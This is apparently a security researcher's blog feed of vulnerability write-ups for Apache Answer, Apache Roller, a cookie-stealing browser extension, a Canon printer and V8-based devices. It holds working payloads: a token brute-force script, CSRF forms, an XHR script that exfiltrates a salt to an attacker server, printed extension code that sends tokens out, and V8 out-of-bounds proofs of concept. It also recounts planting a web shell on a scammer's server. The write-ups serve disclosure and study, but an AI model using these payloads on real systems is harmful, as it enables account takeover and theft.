GeistHaus
log in · sign up

iam.chi

Part of ctrsec.io

Security Research | Writeups | Words are my own.

stories primary
CVE-2024-45719: Predictable Authorization Token Vulnerability in Apache Answer
Research
Overview
Show full content
Overview

CVE-20240-45719 highlights a critical vulnerability in Apache Answer, where UUID Version 1 (UUIDv1) is used as an authorization token. Due to the predictable nature of UUIDv1, attackers can predict and brute force valid tokens, enabling session hijacking and unauthorized access to user accounts.

This vulnerability has been validated through real-world testing, demonstrating that an attacker with minimal privileges can exploit this flaw to hijack future user sessions at scale. Immediate remediation is essential to protect user accounts and system integrity.

Affected systems

All instances of Apache Answer where UUIDv1 is used as an authorization token are affected. This includes systems that rely on UUIDv1 for identifying and validating user sessions.

Technical Details

In the Apache Answer codebase, UUIDv1 is used for generating authorization tokens. Below is an example of the relevant code, which demonstrates the usage of UUIDv1:

import (
  "github.com/google/uuid"
)

// GenerateAuthorizationToken generates a UUIDv1 token for user authorization
func GenerateAuthorizationToken() string {
  return uuid.NewUUID().String() // UUIDv1 generation
}

Here, the uuid.NewUUID() function generates a UUID Version 1 token. While this ensures uniqueness, it lacks the cryptographic randomness required for security-critical use cases, such as session management or authorization.

UUIDv1 Breakdown Implementation
  • Reference: https://github.com/google/uuid/blob/master/version1.go
// NewUUID returns a Version 1 UUID based on the current NodeID and clock
// sequence, and the current time.  If the NodeID has not been set by SetNodeID
// or SetNodeInterface then it will be set automatically.  If the NodeID cannot
// be set NewUUID returns nil.  If clock sequence has not been set by
// SetClockSequence then it will be set automatically.  If GetTime fails to
// return the current NewUUID returns nil and an error.
//
// In most cases, New should be used.
func NewUUID() (UUID, error) {
  var uuid UUID
  now, seq, err := GetTime()
  if err != nil {
    return uuid, err
  }

  timeLow := uint32(now & 0xffffffff)
  timeMid := uint16((now >> 32) & 0xffff)
  timeHi := uint16((now >> 48) & 0x0fff)
  timeHi |= 0x1000 // Version 1

  binary.BigEndian.PutUint32(uuid[0:], timeLow)
  binary.BigEndian.PutUint16(uuid[4:], timeMid)
  binary.BigEndian.PutUint16(uuid[6:], timeHi)
  binary.BigEndian.PutUint16(uuid[8:], seq)

  nodeMu.Lock()
  if nodeID == zeroID {
    setNodeInterface("")
  }
  copy(uuid[10:], nodeID[:])
  nodeMu.Unlock()

  return uuid, nil
}

UUID Version 1 is structured as follows:

  • Timestamp (60 bits): Represents the number of 100-nanosecond intervals since October 15, 1582, derived directly from the system clock.
  • Clock Sequence (14 bits): Used to avoid duplicates within the same timestamp. However, it is relatively static unless the system clock changes or the server restarts.
  • Node Identifier (48 bits): Typically derived from the server’s MAC address, making it constant for the machine.
Example UUID Analysis

Given the UUID 70935f8d-6b50-11ef-9728-0242ac110002, the components can be broken down as follows:

  • 70935f8d: Timestamp (lower 32 bits).
  • 6b50: Timestamp (middle 16 bits).
  • 11ef: Timestamp (upper 12 bits), combined with the version (1).
  • 9728: Clock sequence, which remains static across multiple tokens generated at the same time.
  • 0242ac110002: Node identifier (MAC address or equivalent).

This predictable structure makes it possible for attackers to predict future tokens after capturing one valid UUID.

Attack Scenario Step 1: Obtain a Valid UUID Token

An attacker begins by obtaining a valid UUIDv1 authorization token. This can be achieved by:

  • Signing up for a low-privileged account.
  • Intercepting network traffic or logs containing tokens.
  • Example captured token:
70935f8d-6b50-11ef-9728-0242ac110002
Step 2: Extract Predictable Components
  • The attacker extracts:
Clock Sequence: 9728
Node Identifier: 0242ac110002
  • These components remain constant for the server, enabling the attacker to focus on brute-forcing the timestamp.
Step 3: Brute Force Future Tokens

The attacker writes a script to iterate over possible timestamps while keeping the clock sequence and node identifier constant. The following Python script demonstrates this approach:

import uuid
from datetime import datetime, timedelta

# Known components from the captured UUID
node = 0x0242ac110002
clock_seq = 0x9728

# Start timestamp (replace with observed login time)
start_time = datetime(2024, 9, 5, 6, 31, 0)

# Brute force UUID generation
def generate_uuid():
    for i in range(100000): 
        timestamp = int((start_time + timedelta(seconds=i)).timestamp() * 1e7)
        uuid_fields = (
            (timestamp & 0xFFFFFFFF),  # time_low
            (timestamp >> 32) & 0xFFFF,  # time_mid
            ((timestamp >> 48) & 0x0FFF) | (1 << 12),  # time_hi_and_version
            ((clock_seq >> 8) & 0x3F) | 0x80,  # clock_seq_hi_and_reserved
            clock_seq & 0xFF,  # clock_seq_low
            node,  # node
        )
        yield str(uuid.UUID(fields=uuid_fields))

# Generate and print tokens
for token in generate_uuid():
    print(token)
Real-World Feasibility

For testing purposes, I used a 1-minute timestamp range. On a 32-core, 64GB RAM virtual machine, the script generated a valid token in 2-3 minutes. In real-world scenarios, the script can run continuously, capturing all future valid tokens generated by the system.

Even if the server updates the clock sequence or node identifier, the attacker can simply capture a new token from their account and continue the attack.

The attacker uses the generated tokens to send requests to the web application. For example:

GET /answer/api/v1/notification/page?type=achievement&page=1&page_size=10 HTTP/1.1
Host: localhost:9080
Authorization: <Generated-UUID>

A 200 OK response confirms session hijacking.

Resolution and Recommendations

The Apache Answer maintainers have addressed this vulnerability by upgrading the token generation mechanism in version 1.4.1. Users are strongly advised to update their installations to Apache Answer 1.4.1 to mitigate the risk of account takeover.

https://0xfatty.github.io/research/2024/11/23/apache-answer-weak-uuid
CVE-2024-46911: Uncovering CSRF vulnerabilities in Apache Roller
Research
Overview
Show full content
Overview

Apache Roller, an open-source blog server platform, has long been favored for managing and publishing content on the web. However, like many web-based applications, it can be subject to vulnerabilities that pose security risks. This blog post discusses the details of the vulnerabilities recently addressed in Apache Roller and assigned CVE-2024-46911. The report focuses on the security flaws, their impact, remediation steps taken, the limitations of the fixes, and future recommendations for enhancing Roller’s security posture.

Vulnerability Details

During a recent research of Apache Roller, I identified a vulnerability that allows attackers to exploit a combination of Input Validation Errors and Cross-Site Request Forgery (CSRF) attacks. While the application uses the HttpOnly flag on cookies—preventing them from being accessed by JavaScript—the system lacks robust CSRF protection. This omission leaves the application vulnerable to unauthorized administrative actions.

The core issue I reported is not merely about allowing users to publish arbitrary HTML or JavaScript content. While improper input validation might make it easier for attackers to craft malicious payloads, the real concern lies in the lack of CSRF protection. This enables attackers to craft malicious requests to trick an admin into executing sensitive operations without their knowledge or consent.

An attacker could lure an authenticated administrator to visit a malicious site hosting a CSRF payload. Once the payload is triggered, actions such as modifying administrative settings or changing credentials could be performed, bypassing the need for direct interaction with the vulnerable Apache Roller weblog. This demonstrates that the lack of CSRF protection poses a security risk even in trusted environments, as the attack can be executed remotely via external websites.

First-report payload
<html>
  <body>
    <form action="http://localhost:8080/roller/roller-ui/admin/createUser.rol" method="POST">
      <input type="hidden" name="salt" value="salt_obtained_from_any_api_call_from_normal_user" />
      <input type="hidden" name="bean&#46;userName" value="hacker" />
      <input type="hidden" name="bean&#46;screenName" value="hacker" />
      <input type="hidden" name="bean&#46;fullName" value="hacker" />
      <input type="hidden" name="bean&#46;password" value="hacker" />
      <input type="hidden" name="bean&#46;emailAddress" value="hacker-email&#64;attacker&#46;com" />
      <input type="hidden" name="bean&#46;locale" value="en&#95;US" />
      <input type="hidden" name="bean&#46;timeZone" value="America&#47;Chicago" />
      <input type="hidden" name="bean&#46;enabled" value="true" />
      <input type="hidden" name="&#95;&#95;checkbox&#95;bean&#46;enabled" value="true" />
      <input type="hidden" name="bean&#46;administrator" value="true" />
      <input type="hidden" name="&#95;&#95;checkbox&#95;bean&#46;administrator" value="true" />
      <input type="hidden" name="action&#58;createUser&#33;save" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
Initial Fix: Sanitizing Weblog Content and Salt Binding

Following my initial report, Apache Roller addressed the vulnerability in version 6.1.4 by introducing two key measures:

  • Weblog Content Sanitization: By default, weblog content now undergoes sanitization, preventing arbitrary HTML and JavaScript injections in user-generated content.

  • Salt Value Binding: The system now binds the salt value—used as a security mechanism—to the authenticated admin user, preventing its reuse across different users or sessions. This ties the salt value to a single session and reduces its exposure, minimizing the potential for replay attacks. However, despite these improvements, a new vulnerability was uncovered that still allows attackers to compromise Site Admin privileges by stealing the salt value through an administrative endpoint.

Follow-up Report: CSRF Vulnerability via Administrative Endpoint

With the fix in my previous report, it is a bit more challenging since salt-value is now tied to a specific user. Then another approach is to find a way to steal Admin’s salt. In the follow-up to the original vulnerability, I identified a new security flaw in the Web Analytics configuration feature accessible to admin users. This vulnerability exposes a salt value to attackers who can craft malicious requests to extract sensitive data. The exploit works by leveraging the XMLHttpRequest (XHR) object, which can retrieve and relay the salt value without the admin’s knowledge.

  • Affected Component: Endpoint: /roller/roller-ui/admin/globalConfig.rol (Admin Endpoint), only accessible to admin users

The Apache Roller Admin endpoint exposes a sensitive salt value embedded within an HTML hidden input field. When an admin user accesses this endpoint, the response includes a hidden form field containing the salt:

<input type="hidden" name="salt" value="nHmPrUUmY6gOrmt7I4yc" id="globalConfig_salt"/><h3>Site Settings</h3>

An attacker with lower privileges can exploit this flaw by tricking an admin into visiting a malicious weblog or external site controlled by the attacker. Using an XMLHttpRequest (XHR) object or similar mechanism, the attacker can silently make a GET request to /roller/roller-ui/admin/globalConfig.rol, retrieve the salt from the response, and forward it to an attacker-controlled server.

Once the attacker has obtained the salt, they can utilize it to perform unauthorized actions, such as privilege escalation or further compromising the system by impersonating the admin in future requests.

Second-report payload
<script>
var req = new XMLHttpRequest();

// Make a GET request to the admin-only endpoint
req.open('GET', 'http://localhost:8080/roller/roller-ui/admin/globalConfig.rol', true);
req.onreadystatechange = function() {
    if (req.readyState === 4 && req.status === 200) {
        // Parse the response to find the salt value
        var parser = new DOMParser();
        var doc = parser.parseFromString(req.responseText, 'text/html');
        var saltInput = doc.querySelector('input[type="hidden"][name="salt"]');

        if (saltInput) {
            var saltValue = saltInput.getAttribute('value');

            // Forward the salt value to the attacker's controlled server
            var postReq = new XMLHttpRequest();
            postReq.open('POST', 'http://localhost:8081/stealing-salt', true);
            postReq.setRequestHeader('Content-Type', 'text/plain');
            postReq.send(saltValue);
        }
    }
};
req.send();
</script>
Remediation
  • One-time-use Salt: As part of the fix, one-time-use salts have been implemented. After each successful use, the salt is invalidated and removed from the cache to prevent reuse in further requests. This limits the attack window, even if an attacker manages to obtain a valid salt.

  • Sanitization of Weblog Content: By default, HTML sanitization ensures that arbitrary HTML and JavaScript content cannot be injected into weblog posts, mitigating one vector for exploiting the vulnerability.

  • Example of how salts are now being handled in the updated code:

// Validate the salt value from the request
String salt = httpReq.getParameter("salt");
if (salt == null || !Objects.equals(saltCache.get(salt), userId)) {
    log.debug("Invalid salt found for POST to: " + httpReq.getServletPath());
    throw new ServletException("Security Violation: Invalid Salt");
}

// Invalidate the salt after successful use
saltCache.remove(salt);
log.debug("Salt used and invalidated: " + salt);

By invalidating the salt after its first use, this approach ensures that salts cannot be reused by attackers attempting to replay malicious requests.

Limitations
  • Partial Fix: While the introduction of one-time-use salts significantly improves security, the exposure of the salt value still remains a critical issue. The salt, once embedded in the response, can still be intercepted through XHR or similar attacks, making it a potential risk in the future.

  • Trust Assumptions: The fix assumes that trusted admins will not be tricked into visiting malicious sites or unknowingly interacting with attacker-controlled resources. However, the potential for social engineering or phishing still exists.

Future Recommendations
  • Switch to Secure CSRF Tokens: Moving away from salt-based protection to using secure CSRF tokens (e.g., generated server-side and stored in HttpOnly, SameSite cookies) would provide a more robust defense. This would prevent tokens from being accessed by JavaScript and stop them from being used in CSRF attacks.

  • JWT-based Protection: Implement JSON Web Tokens (JWTs) for session management and request validation. JWTs are self-contained and can carry authentication data securely. They can be used to validate each request and are harder to forge when properly signed.

  • Expiring Salt Values: While one-time-use salts help mitigate attacks, implementing short-lifetime salts with expiration times could further limit their usefulness if intercepted.

Acknowledging the Author’s Effort

The author of Apache Roller - Dave Johnson - has been proactive in addressing the vulnerabilities identified in these reports. In response to my findings, Dave quickly implemented key security enhancements, such as the sanitization of weblog content by default and the introduction of one-time-use salt values. These improvements significantly reduce the attack surface, particularly for low-privilege users attempting to escalate their permissions.

However, it’s also important to acknowledge the current usage landscape of Apache Roller. As the author pointed out in our previous discussions, Apache Roller today is primarily used by security researchers rather than by a broad base of end users or enterprise deployments. Given this context, implementing a completely new CSRF protection mechanism—such as JWT-based token storage or the adoption of secure CSRF tokens—might be considered overkill for the current state of the project.

Instead, the author has opted for a balanced approach that effectively minimizes the risk of known attack vectors while maintaining the simplicity and usability of the platform. This demonstrates the author’s understanding of both the security implications and the real-world application of the software.

Contributors Welcome

Although the current fixes help minimize the impact of the identified vulnerabilities, Apache Roller, like all open-source projects, thrives on community involvement. If future contributors want to further enhance security or extend the platform’s capabilities, contributions are always welcome. With Apache Roller’s unique position in the open-source blogging space, there’s plenty of opportunity for those interested in advancing its security or overall functionality.

By encouraging contributions while keeping the platform light, Apache Roller maintains an equilibrium between functionality and security—a thoughtful response to its current user base.

Kudos to Apache Roller’s creators!

References

[1] https://github.com/apache/roller

[2] https://www.openwall.com/lists/oss-security/2024/10/12/1

[3] https://www.cve.org/CVERecord?id=CVE-2024-46911

https://0xfatty.github.io/research/2024/10/12/apache-roller-csrf
How I nabbed a new CVE from a Cookie-Munching, Scam-Slinging Browser Extension
Research
Friday night @ 9PM….
Show full content
Friday night @ 9PM….

What’s more riveting than the unexpected? Picture this: it’s a lazy Friday night. Lovely wifey and the kids are watching TV shows. Me? I’m diving headfirst into the murky waters of a potential scam from an oversea bad actor, tipped off by a curious friend.

The bait was a browser extension promising Facebook cookie extraction faster than a cheetah on a caffeine high. Facebook and I share the bond of casual strangers, but this… this was a mystery screaming to be solved. Shouted to my buddy “Don’t touch that!”, then rolled up my digital sleeves and got cracking.

Javascript, and it’s funny

JavaScript was the innocuous-looking vehicle driving this extension. Now, JS has the guileless facade of a doe-eyed, purring kitten. But I’ve seen kittens scratch, and this one was no different. For your perusal:

// truncated - variables declaration

function loadCookie() {
  chrome.tabs.getSelected(null, function (tab) { // null defaults to current window
    var currentUrl = tab.url;
    if (currentUrl.indexOf('chrome://newtab') > -1) {
      currentUrl = "https://www.facebook.com";
    }
    var listCookieZalo = [];
    if (currentUrl.includes('chat.zalo.me')) {
      chrome.cookies.getAll({}, function (cookie) {
        for (var i = 0; i < cookie.length; i++) {
          if (cookie[i].domain.includes('zalo')) {
            listCookieZalo.push(cookie[i]);
          }
        }
        chrome.tabs.getSelected(null, function (tab) {
          chrome.tabs.executeScript(tab.id, {
            code: 'localStorage["z_uuid"]',
          }, function (imei) {
            if (imei != undefined && imei != null && imei != '') {
              result = "imei=" + imei + ";";
              var jsonCookie = JSON.stringify(listCookieZalo);
              currentCookie = jsonCookie + '|' + result + '|' + navigator.userAgent;
              document.getElementById('cookieResult').value = currentCookie;
            }
          });
        });
      });
    } else {
      $('#UrlCookieCurrent').html(extractHostname(currentUrl));
      chrome.cookies.getAll({ "url": currentUrl }, function (cookie) {
        var result = "";
        for (var i = 0; i < cookie.length; i++) {
          result += cookie[i].name + "=" + cookie[i].value + ";";
          if (cookie[i].name == "c_user") {
            currentUid = cookie[i].value;
          }
        }
        //truncated
        chrome.tabs.getSelected(null, function (tab) {
          chrome.tabs.executeScript(tab.id, {
            code: 'localStorage["z_uuid"]',
          }, function (imei) {
            if (imei != undefined && imei != null && imei != '') {
              result += "imei=" + imei + "; ";
            }
            document.getElementById('cookieResult').value = result + '|' + navigator.userAgent;
//truncated 

loadCookie();

Now, I’m sure some of you are dying to know the domain name of this criminal. But alas, my moral compass, tuned more accurately than my wife throwing flip-flop whenever I forgot to throw the trash, nudged me to stay righteous. So, for this show, I redacted the domain name. Because even in the world of cyber scams, ethics matter.

Also, since the code is long, I will break that down into several parts. Let’s unwrap this first part of enigmatic JavaScript parcel, shall we?

This function, loadCookie, does exactly what its name implies: it loads cookies from a website. It first checks the current URL of the selected tab. If it’s the default new tab page (chrome://newtab), it sets currentUrl to https://www.facebook.com.

Next, it checks if currentUrl contains chat.zalo.me - Zalo is a popular Vietnamese chat app, which suggests this extension is not just after Facebook data. It collects all the cookies from the site and makes a special note of those containing zalo in their domain.

Now, here’s the crafty bit: the extension runs a script in the context of the current tab to get the value of localStorage["z_uuid"], which could be a unique user identifier. It’s storing this value as a cookie. So not only does the extension have all the standard cookies, it has potentially sensitive data too.

If it’s not Zalo, the function instead grabs cookies from the site in the currentUrl and collects the UID from the c_user cookie. Just like with Zalo, it also tries to grab the localStorage["z_uuid"] value, but now it’s appending it directly to the result string.

Lastly, if the site is Facebook, it’s executing a series of scripts to extract a Facebook ID from various elements and attributes on the page. These scripts are all wrapped in try-catch blocks, indicating a sort of brute-force approach to ensure that it gets an ID.

Phew, that’s quite the cookie heist! This code effectively allows the extension to collect users’ cookies from websites, extract unique identifiers, and potentially access users’ accounts on these sites - definitely a danger to user privacy and security. Stay tuned for more insights into this code in the next parts!

Coming up next
//truncated
  $("#btnGetAccessToken").click(function () {
    chrome.tabs.getSelected(null, function (tab) {
      var link = tab.url;
      if (!link.includes('access_token=')) {
        chrome.tabs.create({
          url: "view-source:https://www.facebook.com/dialog/oauth?client_id=124024574287414&redirect_uri=https://www.instagram.com/accounts/signup/&&scope=email&response_type=token&data="
        }, function (tab) {
        });
      } else {
        let accesstoken_ads = cutStringStartEnd(link, 'access_token=', '&');
        sendGet("https://graph.facebook.com/me?fields=id,name&access_token=" + accesstoken_ads, function (reponse) {
          cuser = "";
          myName = "";
          try {
            let data = JSON.parse(reponse);
            cuser = data.id;
            myName = change_alias(data.name);
          } catch (e) {
            console.log(e);
          }
//truncated
            }],
            "confirmed": true,
            "identifier": cuser,
            "name": myName,
            "user_storage_key": "860dcb45bf2e078ec94e372206b9a734a64fd1db7a417b1c92949b5bac1eadc9"
          };
          let r = btoa(JSON.stringify(all_data));
          var newURL = "http://[redacted]/?access_token_v2=" + r;
          console.log(newURL);
          chrome.tabs.create({
            url: newURL
          });

This behavior is concentrated in the $("#btnGetAccessToken").click function, which appears to retrieve an access token from Facebook, possibly without the user’s consent or knowledge.

The access token is fetched using the Facebook OAuth dialog with a pre-specified client id. And lastly, it begins to compile a complex object that includes everything from the user’s Facebook ID (cuser) and the captured access token to crafted session cookies, ready for dispatch.

The JSON object is then converted into a base64 encoded string (a favourite technique amongst cyber villains to mask their ill-gotten gains), before being sent to the rogue server via yet another URL. The URL is ingeniously designed to look like a part of a legitimate service (http://[redacted]/?access_token_v2=), further deepening the deception.

This treacherous code is as much a work of art as it is a menace. By executing it, the users unwittingly surrender their Facebook session cookies, giving the scammer free rein over their Facebook account. It’s like leaving your house keys under the doormat, with a neon sign saying “Come on in!”

The fight started….

From this point, I really into it. On top of my head is to revenge this scamming scheme. So, the adventure didn’t end with only unmasking the JavaScript sneak thief. In true detective fashion, I traced the scam back to their infrastructure, and found a website running Laravel and PHP – a love story riddled with plot twists. My curiosity piqued, I decided to taste test the waters further.

With bug bounty hunter mindset, I performed a search to find its subdomains, and I was happy that there was a website running on Laravel. Hmmmmm….PHP? I love it. Why? Because PHP is soooooo cancer.

Worth to note, scammers’ mindset is to use whatever they found on the internet, with or without knowing the technical behind the technology. And voila! The grand reveal was an unrestricted file upload feature,

A bit more about this application, this application is Uhelp, a helpdesk ticket system that was developed by an India company. The vulnerability occurs when a user creates a new ticket or replies to an existing ticket via /customer/imageupload endpoint. Web front-end did a great job blocking all other extensions than imgages coming in. But the back-end logic destroyed it all. It allows an attacker (or a scam fighter in my case) to arbitrarily upload files.

Say less now, an entry as wide open as a barn gate. Seizing the opportunity, I uploaded a web shell and seized control of the scammer’s server. It was like being handed the control room keys to the Death Star.

And….

This is enough to play with. I stopped here and posted a message to the community for awareness.

Because I am a good person…

Since this is a fight with scammers, not the fight with whoever created this. I have brought this to the vendor and meanwhile requesting a CVE for this software.

Last but not least, as a bonus, several Stored Cross-site scripting vulnerabilities were found during the research.

What happened to the scammer and their website

I have reported the scamming scheme to the community and reported their domain name to the organization that controls its top-level domain extension for a take down.

References

[1] https://uhelp.spruko.com/index.html

[2] https://codecanyon.net/item/uhelp-support-ticketing-system/36331368

https://0xfatty.github.io/research/2023/06/24/pwning-the-scammer-new-zero-day
[Pwn2Own 2022] CVE-2023-0855: Canon imageClass MF743CDW IPP BOF
Research
Overview
Show full content
Overview

In December 2022, I participated and got a success in Pwn2Own Toronto 2022 targeting Canon Printer category. Check it out here

The Canon imageClass MF743Cdw’s IPP service is vulnerable to a stack-based buffer overflow using the number-up attribute. This allows an unauthenticated attacker to execute arbitrary code on the device.

Analysis

There is a function at address 0x41BD138C named sub_41BD138C. This function is called when printer handles IPP request packet that has an attribute named number-up.

int __fastcall sub_41BD138C(int a1, int a2, int a3, int a4)
{
  int v4; // r4
  int v5; // r6
  int v6; // r5
  int v7; // r2
  bool v8; // zf
  bool v9; // zf
  unsigned int v10; // r4
  unsigned __int16 v11; // r7
  unsigned int v12; // r1
  char dest[4]; // [sp+8h] [bp-18h] BYREF

  *(_DWORD *)dest = a4;
  v4 = 1;
  v5 = a2 + 32828;
  
...

LABEL_8:
    *(_DWORD *)dest = 0;
    v10 = 0;
    v11 = __rev16(*(unsigned __int8 *)(a1 + 1) | (*(unsigned __int8 *)(a1 + 2) << 8));
    memcpy_(
      dest,
      (char *)(a1 + v11 + 5),
      __rev16(*(unsigned __int8 *)(a1 + v11 + 3) | (*(unsigned __int8 *)(a1 + v11 + 4) << 8)));
    
  v12 = (*(int *)dest >> 8) & 0xFF00 | (__rev16(*(unsigned int *)dest) << 16) | dest[3];
    while ( v10 < dword_45CF9DC0 && dword_45CF9F5C[v10] != v12 )
      ++v10;

As we can see, this function takes a word from IPP request packet. This word is used as a length parameter without checking to copy data to stack-based variable dest. This variable dest’s size is just 4 bytes. This leads to stack buffer overflow and we can redirect the PC register to our code.

Exploitation

Based on Synacktiv’s past research, we know that on real device, stack and heap region memory has read, write and executable right. So we can alloc a region at a fixed address, push our shellcode to this region and redirect PC register to this to get our shellcode run.

The complete attack scenario will include these steps:

  • Send a BNJP request containing shellcode which will download an image and display it on the printer
  • Exploit the overflow and redirect the program register to shellcode buffer
  • Printer will display our image on monitor
References

ZDI: https://www.zerodayinitiative.com/advisories/ZDI-23-555

https://0xfatty.github.io/research/2023/05/22/pwn2own-canon-bof-mf743cdw
Pwning the Samsung TV
Research
Overview
Show full content
Overview

Next, following up on the failed Pwn2Own 2021 series, this blog post will be talking about the vulnerability found on Samsung TV - a Pwn2Own 2021 target.

Vulnerability Summary

The default browser of Samsung Smart TV is chromium-based with obsolete version. So we use 1-day CVE-2020-6383 to exploit this device over this default browser. When user browse malicious content on the device’s browser, we can use this bug to run shellcode and obtain reverse shell connection from device.

Vulnerability Detail

The vulnerability is in JavaScript engine (V8) that used by default browser. When JS engine try to optimize this pattern of JS code:

for (var i=initial; i < end; i+=increment) {
    [...]
}

The function Typer::Visitor::TypeInductionVariablePhi is called to get type of i

Type Typer::Visitor::TypeInductionVariablePhi(Node* node) {
[...]
  const bool both_types_integer = initial_type.Is(typer_->cache_->kInteger) &&
                                  increment_type.Is(typer_->cache_->kInteger);
  bool maybe_nan = false;
  // The addition or subtraction could still produce a NaN, if the integer
  // ranges touch infinity.
  if (both_types_integer) {
    Type resultant_type =
        (arithmetic_type == InductionVariable::ArithmeticType::kAddition)
            ? typer_->operation_typer()->NumberAdd(initial_type, increment_type)
            : typer_->operation_typer()->NumberSubtract(initial_type,
                                                        increment_type);
    maybe_nan = resultant_type.Maybe(Type::NaN()); 
  }

[...]

  if (arithmetic_type == InductionVariable::ArithmeticType::kAddition) {
    increment_min = increment_type.Min();
    increment_max = increment_type.Max();
  } else {
    DCHECK_EQ(InductionVariable::ArithmeticType::kSubtraction, arithmetic_type);
    increment_min = -increment_type.Max();
    increment_max = -increment_type.Min();
  }

  if (increment_min >= 0) {
[...]
  } else if (increment_max <= 0) { [...] } else { // Shortcut: If the increment can be both positive and negative, // the variable can go arbitrarily far, so just return integer. return typer->cache->kInteger; 
  }

The code assumes that when the increment variable can be both positive and negative, the result type of i will be kInteger (which doesn’t include NaN). However, since the value of increment can be changed from inside the loop body, it’s possible, for example, to set i = 0 and increment = -Infinity, and then set increment to +Infinity inside the for loop. This will make i become NaN in the next iteration of the loop. This leads to type mismatch of variable i, engine thinks its type is kInteger (not include NaN) but it can be NaN. Here is the proof-of-concept:

var x = -Infinity;
var k = 0;

for (var i=0; i<1; i+=x) { if (i == -Infinity) { x = +Infinity; } if (++k > 10) {
        break;
    }
}
Vulnerability Exploitation

The bug leads to mismatch type of i in optimization engine and actual value of i. Actual value of i is NaN, while optimization engine decides value of i is of type kInteger. We use this value as a length to construct a JS array. This mismatch of length value makes the length field is larger than the capacity of its backing store, leading an out-of-bound read/write to this array.

Below is a Proof-of-concept that creates OOB read/write JS array

                                       // i: kInteger > [-Infinity, Infinity]
    var value = Math.max(i, 1024);     // [1024, Infinity]
    value = -value;                    // [-Infinity, -1024]
    value = Math.max(value, -1025);    // [-1025, -1024]
    value = -value;                    // [1024, 1025]
    value -= 1022;                     // [2, 3]
    value >>= 1;                       // 0
    value += 10;                       // 10
    var array = Array(value);
    array[0] = 1.1;

In optimization engine, the value of value is predicted to be 10. But the actual value is very large number because of mismatch type of i

Additionally, JS array operator is optimized also. It uses actual value of value as a length but the backing store is create with the predicted value that much more smaller than length. So we can get OOB read/write to this new JS array. Use this array we can get an arbitrary read/write primitive. Final we use RWX page of WASM to run our connect-back shell-code.

Timeline

10/29/2021: Exploit submitted to Pwn2Own Competition
11/01/2021: Submission got rejected due to the usage of n-day

https://0xfatty.github.io/research/2022/01/28/pwning-the-samsung-tv
Pwning the Facebook Portal
Research
Overview
Show full content
Overview

Back in November, 2021, my friend and I were trying to make an attempt to participate Pwn2Own. Unfortunately, due to some rules of exploitation. Our submission was not accepted. Today, as the vulnerability has now been fixed by the vendor, we decide to publish this blog post regarding a vulnerability that was found on Facebook Portal.

Vulnerability Summary

The attack was conducted relying on the usage of vulnerable browser version (Chrome/92.0.4515.131). This Chromium-based webview is related to the Out-of-bounds write in V8 (CVE-2021-30632) leading a Remote Code Execution on Facebook Portal @ latest version @1.29.1

Generally, whenever a device try to connect to a Wireless router that has Captive Portal Auth Mechanism, the wireless router, as part of Auth Mechanism, will send the request to a login form. Users would have to have a valid set of credential to be granted access to the Internet. This HTML login form is parsed and run by an obsolete chromium-based webview (Chrome/92.0.4515.131).

By exploiting this behavior via the above attack surface, we leveraged a 1-Day exploitation on Out-of-bounds in V8 (CVE-2021-30632) to get code execution on sandboxed webview process.

Vulnerability Detail

Optimized code that stores global properties does not get de-optimized when the property map gets changed, leading to type confusion vulnerability. Prior to the patch, when Turbofan compiles code for storing global properties that has the kConstantType attribute (i.e. the storage type has not changed), it inserts DependOnGlobalProperty (1. below) and CheckMaps (2. below) to ensure that the property store does not change the map of the property cell:

     case PropertyCellType::kConstantType: {
        ...
        dependencies()->DependOnGlobalProperty(property_cell);     //<---- 1. ... if (property_cell_value.IsHeapObject()) { MapRef property_cell_value_map = property_cell_value.AsHeapObject().map(); if (property_cell_value_map.is_stable()) { dependencies()->DependOnStableMap(property_cell_value_map);
          } else {
            ... //<----- fall through } // Check that the {value} is a HeapObject. value = effect = graph()->NewNode(simplified()->CheckHeapObject(),
                                            value, effect, control);
          // Check {value} map against the {property_cell_value} map.
          effect = graph()->NewNode(                          //<----- 2. simplified()->CheckMaps(
                  CheckMapsFlag::kNone,
                  ZoneHandleSet<Map>(property_cell_value_map.object())),
              value, effect, control);

However, when the map of the global property (property_cell_value_map) is changed in place after the code is compiled, the optimized code generated by the above only de-optimizes when property_cell_value_map is stable. So for example, if a function store is optimized when the map of the global property x is unstable:

function store(y) {
x = y;
}

Then an in-place change to the map of x will not de-optimize the compiled store:

x.newProp = 1; //<------ x now has new map, but the optimized store still assumed it had an old map

This causes the map for x in the optimized store function to be inaccurate. Another function load can now be compiled to access newProp from x:

function load() {
return x.newProp;
}

The optimized load will assume x to have a new map with newProp as a property. If the optimized store is now used to store an object with the old map back to x, the next time load is called, a type confusion will occur because load still assumes x has the new map.

Vulnerability Exploitation

Using this bug, we can create a type confusion between 2 kinds of Javascript array. Because Javascript arrays have differently sized backing stores for different element kinds, a confusion between an SMI array (element size 4) and a double array (element size 8) will lead to out-of-bounds read and write in a Javascript array.

Below is the Proof of Concept (PoC) that triggers OOB read and write:

function foo(b) {
x = b;
}

function oobRead() {
return [x[20],x[24]];
}

function oobWrite(addr) {
x[24] = addr;
}

//All have same map, SMI elements, MapA
var arr0 = new Array(10); arr0.fill(1);arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3);arr2.a = 1;

var x = arr0;

var arr = new Array(30); arr.fill(4); arr.a = 1;
...
//Optimize foo
for (let i = 0; i < 19321; i++) {
if (i == 19319) arr2[0] = 1.1;
foo(arr1);
}

x[0] = 1.1;

//optimize oobRead
for (let i = 0; i < 20000; i++) {
oobRead();
}

//optimize oobWrite
for (let i = 0; i < 20000; i++) {
oobWrite(1.1);
}

//Restore map back to MapA, with SMI elements
foo(arr);
var z = oobRead();
oobWrite(0x41414141);

When oobRead and oobWrite are optimized, x now has MapB, which is a stable map with HOLEY_DOUBLE_ELEMENTS. This means that, for example, when writing to the 24th element (x[24]) in oobWrite, the offset used by the optimized code to access elements will be calculated with double element width, which is 8, so an offset of 8 * 24 is used. However, when foo(arr) is used to set x back to arr, the element store for arr is of type HOLEY_SMI_ELEMENTS, which has a width of 4, meaning that the backing store is only 4 * 30 bytes long, which is way smaller than 8 * 24. A write to the offset 8 * 24 thus causes an out-of-bounds write in the backing store.

